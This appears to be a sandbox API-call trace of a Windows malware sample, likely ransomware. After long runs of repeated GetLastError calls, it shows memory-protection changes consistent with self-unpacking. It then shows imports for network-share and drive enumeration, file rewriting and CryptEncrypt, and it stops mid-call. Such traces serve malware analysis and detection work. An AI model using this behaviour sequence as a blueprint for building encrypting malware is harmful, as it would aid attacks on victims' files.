GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.167] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.168] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.169] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.170] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.171] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.172] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.173] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.174] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.175] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.176] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.177] GetLastError () returned 0x0 [0041.178] GetLastError () returned 0x0 [0041.178] GetLastError () returned 0x0 [0041.178] GetLastError () returned 0x0 [0041.178] GetLastError () returned 0x0 [0041.178] GetLastError () returned 0x0 [0041.178] GetLastError () returned 0x0 [0041.702] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0041.702] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0041.702] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0041.704] VirtualProtect (in: lpAddress=0x2eff2b0, dwSize=0x765a, flNewProtect=0x40, lpflOldProtect=0x18ea44 | out: lpflOldProtect=0x18ea44*=0x4) returned 1 [0041.735] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0041.736] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0041.736] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0041.736] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0041.736] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0041.736] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0041.736] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0041.736] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0041.736] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x30 [0041.738] Module32First (hSnapshot=0x30, lpme=0x18f840) returned 1 [0041.738] VirtualAlloc (lpAddress=0x0, dwSize=0xa050, flAllocationType=0x1000, flProtect=0x40) returned 0x20000 [0041.740] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0041.740] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0041.740] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0041.740] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0041.740] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0041.740] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0041.740] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0041.740] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0041.741] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0041.741] SetErrorMode (uMode=0x400) returned 0x0 [0041.741] SetErrorMode (uMode=0x0) returned 0x400 [0041.741] GetVersionExA (in: lpVersionInformation=0x18e770*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18e770*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0041.741] VirtualAlloc (lpAddress=0x0, dwSize=0x9200, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0041.742] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1d000, flNewProtect=0x40, lpflOldProtect=0x18f7f8 | out: lpflOldProtect=0x18f7f8*=0x2) returned 1 [0041.750] VirtualFree (lpAddress=0x30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0041.750] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75660000 [0041.906] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0041.906] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0041.906] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0041.906] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="DeviceIoControl") returned 0x76d4322f [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0041.907] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="DuplicateHandle") returned 0x76d41886 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0041.908] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="PeekNamedPipe") returned 0x76dc4821 [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemWindowsDirectoryW") returned 0x76d45213 [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0041.909] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0041.910] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0041.910] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0041.910] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0041.910] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeW") returned 0x76d4418b [0041.910] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0041.910] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0041.910] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0041.910] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0041.911] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0041.911] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0041.911] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0041.911] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSection") returned 0x77c72c42 [0041.911] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48 [0041.911] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0047.491] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfW") returned 0x7716e061 [0047.491] GetProcAddress (hModule=0x77130000, lpProcName="GetShellWindow") returned 0x7716e8a8 [0047.491] GetProcAddress (hModule=0x77130000, lpProcName="GetWindowThreadProcessId") returned 0x771491b4 [0047.491] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfA") returned 0x7715ae5f [0047.491] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0047.491] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyKey") returned 0x7771c51a [0047.492] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0047.492] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0047.492] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8 [0047.492] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0047.492] GetProcAddress (hModule=0x77710000, lpProcName="CryptDecrypt") returned 0x77753178 [0047.492] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0047.492] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0047.492] GetProcAddress (hModule=0x77710000, lpProcName="SetTokenInformation") returned 0x77719a92 [0047.493] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExW") returned 0x777240fe [0047.493] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0047.493] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0047.493] GetProcAddress 